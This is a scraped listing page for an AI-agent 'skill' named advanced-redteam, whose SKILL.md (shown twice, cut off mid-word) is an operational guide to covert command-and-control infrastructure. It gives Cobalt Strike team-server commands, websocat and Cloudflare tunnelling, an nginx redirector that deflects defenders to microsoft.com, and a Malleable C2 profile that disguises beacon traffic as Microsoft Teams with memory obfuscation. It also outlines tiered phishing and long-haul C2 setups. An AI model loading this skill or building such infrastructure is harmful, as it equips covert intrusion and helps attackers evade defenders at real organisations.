advanced-redteam

Name: advanced-redteam
Author: hypnguyen1209

320stars55forks

How to install advanced-redteam?

hypnguyen1209/offensive-claude/advanced-redteam

$npx -y skills add hypnguyen1209/offensive-claude --skill advanced-redteam

Installs into the current project.

Summary

--- name: advanced-redteam-ops description: Use when designing C2 infrastructure or OPSEC for a long-haul red-team op — redirectors, malleable profiles, tiered/segregated infra, living-off-the-land, data exfiltration metadata: type: offensive phase: operations kill_chain: p

Files · 1

View on GitHub

SKILL.md

1	# Advanced Red Team Operations
2
3	## When to Activate
4
5	- Planning advanced red team engagements
6	- Designing C2 infrastructure with OPSEC
7	- Understanding APT TTPs and operational security
8	- Long-term persistent access scenarios
9
10	## C2 Infrastructure Design
11
12	### Redirectors (Never Expose Team Server Directly)
13
14	Rule: Team server ONLY binds to localhost. NEVER bind to 0.0.0.0 or external interface.
15
16	```bash
17	# Cobalt Strike team server (bind locally)
18	./TeamServerImage -Dcobaltstrike.server_port=50050 \
19	-Dcobaltstrike.server_bindto=127.0.0.1 \
20	-Djavax.net.ssl.keyStore=./cobaltstrike.store \
21	teamserver 127.0.0.1 <password>
22
23	# Tunnel via websocat (CStrike uses raw TCP, smuggle in WebSocket)
24	websocat -E -b ws-l:127.0.0.1:40000 tcp:127.0.0.1:50050 &
25
26	# Cloudflare tunnel (or ngrok)
27	cloudflared tunnel --url http://127.0.0.1:40000 --no-autoupdate
28	# Or: named tunnel via Zero Trust → point to domain + UUID path
29
30	# On operator machine:
31	websocat -E -b tcp-l:127.0.0.1:2222 ws://mytunnel.domain.com/<uuid> &
32	# Connect CStrike client to 127.0.0.1:2222
33	```
34
35	Benefits:
36	- Team server never exposed to internet scanning (Shodan, Censys)
37	- Cloudflare/CDN provides high-reputation front
38	- Easy to rotate infrastructure — just change tunnel endpoint
39
40	### Smart Redirectors (Filter Blue Team)
41
42	```nginx
43	# Nginx redirector with filtering
44	server {
45	listen 443 ssl;
46	server_name legit-looking.com;
47
48	ssl_certificate /path/to/cert.pem;
49	ssl_certificate_key /path/to/key.pem;
50
51	# Only forward traffic matching Malleable C2 profile
52	location /api/v2/session {
53	# Check custom header (beacon identifier)
54	if ($http_x_session_id != "valid-beacon-id") {
55	return 301 https://microsoft.com$request_uri;
56	}
57
58	# Check User-Agent matches profile
59	if ($http_user_agent !~* "Mozilla/5.0.*Teams") {
60	return 301 https://microsoft.com$request_uri;
61	}
62
63	# Forward to team server
64	proxy_pass https://127.0.0.1:8443;
65	proxy_ssl_verify off;
66	}
67
68	# Deflect all other traffic to legitimate site
69	location / {
70	return 301 https://microsoft.com$request_uri;
71	}
72	}
73	```
74
75	## Malleable C2 Profiles
76
77	NEVER use default profiles — always customize:
78
79	```
80	# Disable staging (unless absolutely necessary)
81	set host_stage "false";
82
83	# Memory obfuscation
84	set sleep_mask "true"; # Encrypt heap while sleeping
85	set obfuscate "true"; # Avoid generic memory signatures
86
87	# Mimic legitimate traffic (Microsoft Teams example)
88	http-get {
89	set uri "/api/v2/users/presence";
90
91	client {
92	header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Teams/1.5.00.32283";
93	header "Accept" "application/json";
94
95	metadata {
96	base64url;
97	prepend "session_id=";
98	header "Cookie";
99	}
100	}
101
102	server {
103	header "Content-Type" "application/json";
104	header "Server" "Microsoft-IIS/10.0";
105
106	output {
107	base64url;
108	prepend "{\"status\":\"available\",\"data\":\"";
109	append "\"}";
110	print;
111	}
112	}
113	}
114
115	# Certificate OPSEC
116	https-certificate {
117	set keystore "legitimate-cert.store";
118	set password "password";
119	}
120	```
121
122	Profile Tips:
123	- Clone real traffic (Teams, Slack, O365, Azure API)
124	- Match URIs, headers, User-Agents exactly
125	- Use valid TLS certificates (Let's Encrypt or purchased)
126	- If behind Cloudflare tunnel, TLS terminates there — self-signed OK
127
128	## Infrastructure Segregation (Tiered Approach)
129
130	```
131	Tier 1: Phishing/Delivery (High-reputation, short-lived)
132	├── Purpose: Get initial payload to target
133	├── Lifespan: 1-2 weeks (burn after phishing campaign)
134	├── Domain: Aged 2+ weeks, legitimate category, SPF/DKIM/DMARC
135	└── Once flagged → burned, move to Tier 2
136
137	Tier 2: Interactive C2 (Short-haul, active operations)
138	├── Purpose: Hands-on-keyboard work
139	├── Lifespan: Duration of active engagement
140	├── Protocol: HTTP/S, high bandwidth
141	└── Higher detection risk due to frequent traffic
142
143	Tier 3: Long-haul C2 (Persistence, backup)
144	├── Purpose: Respawn Tier 2 access if burned
145	├── Lifespan: Months (low and slow)
146	├── Protocol: DNS, ICMP, or other covert channel
147	├── Beacon: Once per day/week
148	└── NEVER run active commands through this tier
149	```
150
151	Advanced: Use different C2 frameworks per tier (e.g., lightweight custom implant for Tier 3, Cobalt Strike for Tier 2).
152
153	## Staged Pa

People who liked this also viewed

6 picks

Type

advanced-redteam

320stars55forks

View on GitHub

How to install advanced-redteam?

hypnguyen1209/offensive-claude/advanced-redteam

$npx -y skills add hypnguyen1209/offensive-claude --skill advanced-redteam

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# Advanced Red Team Operations
2
3	## When to Activate
4
5	- Planning advanced red team engagements
6	- Designing C2 infrastructure with OPSEC
7	- Understanding APT TTPs and operational security
8	- Long-term persistent access scenarios
9
10	## C2 Infrastructure Design
11
12	### Redirectors (Never Expose Team Server Directly)
13
14	Rule: Team server ONLY binds to localhost. NEVER bind to 0.0.0.0 or external interface.
15
16	```bash
17	# Cobalt Strike team server (bind locally)
18	./TeamServerImage -Dcobaltstrike.server_port=50050 \
19	-Dcobaltstrike.server_bindto=127.0.0.1 \
20	-Djavax.net.ssl.keyStore=./cobaltstrike.store \
21	teamserver 127.0.0.1 <password>
22
23	# Tunnel via websocat (CStrike uses raw TCP, smuggle in WebSocket)
24	websocat -E -b ws-l:127.0.0.1:40000 tcp:127.0.0.1:50050 &
25
26	# Cloudflare tunnel (or ngrok)
27	cloudflared tunnel --url http://127.0.0.1:40000 --no-autoupdate
28	# Or: named tunnel via Zero Trust → point to domain + UUID path
29
30	# On operator machine:
31	websocat -E -b tcp-l:127.0.0.1:2222 ws://mytunnel.domain.com/<uuid> &
32	# Connect CStrike client to 127.0.0.1:2222
33	```
34
35	Benefits:
36	- Team server never exposed to internet scanning (Shodan, Censys)
37	- Cloudflare/CDN provides high-reputation front
38	- Easy to rotate infrastructure — just change tunnel endpoint
39
40	### Smart Redirectors (Filter Blue Team)
41
42	```nginx
43	# Nginx redirector with filtering
44	server {
45	listen 443 ssl;
46	server_name legit-looking.com;
47
48	ssl_certificate /path/to/cert.pem;
49	ssl_certificate_key /path/to/key.pem;
50
51	# Only forward traffic matching Malleable C2 profile
52	location /api/v2/session {
53	# Check custom header (beacon identifier)
54	if ($http_x_session_id != "valid-beacon-id") {
55	return 301 https://microsoft.com$request_uri;
56	}
57
58	# Check User-Agent matches profile
59	if ($http_user_agent !~* "Mozilla/5.0.*Teams") {
60	return 301 https://microsoft.com$request_uri;
61	}
62
63	# Forward to team server
64	proxy_pass https://127.0.0.1:8443;
65	proxy_ssl_verify off;
66	}
67
68	# Deflect all other traffic to legitimate site
69	location / {
70	return 301 https://microsoft.com$request_uri;
71	}
72	}
73	```
74
75	## Malleable C2 Profiles
76
77	NEVER use default profiles — always customize:
78
79	```
80	# Disable staging (unless absolutely necessary)
81	set host_stage "false";
82
83	# Memory obfuscation
84	set sleep_mask "true"; # Encrypt heap while sleeping
85	set obfuscate "true"; # Avoid generic memory signatures
86
87	# Mimic legitimate traffic (Microsoft Teams example)
88	http-get {
89	set uri "/api/v2/users/presence";
90
91	client {
92	header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Teams/1.5.00.32283";
93	header "Accept" "application/json";
94
95	metadata {
96	base64url;
97	prepend "session_id=";
98	header "Cookie";
99	}
100	}
101
102	server {
103	header "Content-Type" "application/json";
104	header "Server" "Microsoft-IIS/10.0";
105
106	output {
107	base64url;
108	prepend "{\"status\":\"available\",\"data\":\"";
109	append "\"}";
110	print;
111	}
112	}
113	}
114
115	# Certificate OPSEC
116	https-certificate {
117	set keystore "legitimate-cert.store";
118	set password "password";
119	}
120	```
121
122	Profile Tips:
123	- Clone real traffic (Teams, Slack, O365, Azure API)
124	- Match URIs, headers, User-Agents exactly
125	- Use valid TLS certificates (Let's Encrypt or purchased)
126	- If behind Cloudflare tunnel, TLS terminates there — self-signed OK
127
128	## Infrastructure Segregation (Tiered Approach)
129
130	```
131	Tier 1: Phishing/Delivery (High-reputation, short-lived)
132	├── Purpose: Get initial payload to target
133	├── Lifespan: 1-2 weeks (burn after phishing campaign)
134	├── Domain: Aged 2+ weeks, legitimate category, SPF/DKIM/DMARC
135	└── Once flagged → burned, move to Tier 2
136
137	Tier 2: Interactive C2 (Short-haul, active operations)
138	├── Purpose: Hands-on-keyboard work
139	├── Lifespan: Duration of active engagement
140	├── Protocol: HTTP/S, high bandwidth
141	└── Higher detection risk due to frequent traffic
142
143	Tier 3: Long-haul C2 (Persistence, backup)
144	├── Purpose: Respawn Tier 2 access if burned
145	├── Lifespan: Months (low and slow)
146	├── Protocol: DNS, ICMP, or other covert channel
147	├── Beacon: Once per day/week
148	└── NEVER run active commands through this tier
149	```
150
151	Advanced: Use different C2 frameworks per tier (e.g., lightweight custom implant for Tier 3, Cobalt Strike for Tier 2).
152
153	## Staged Pa

People who liked this also viewed

6 picks

Type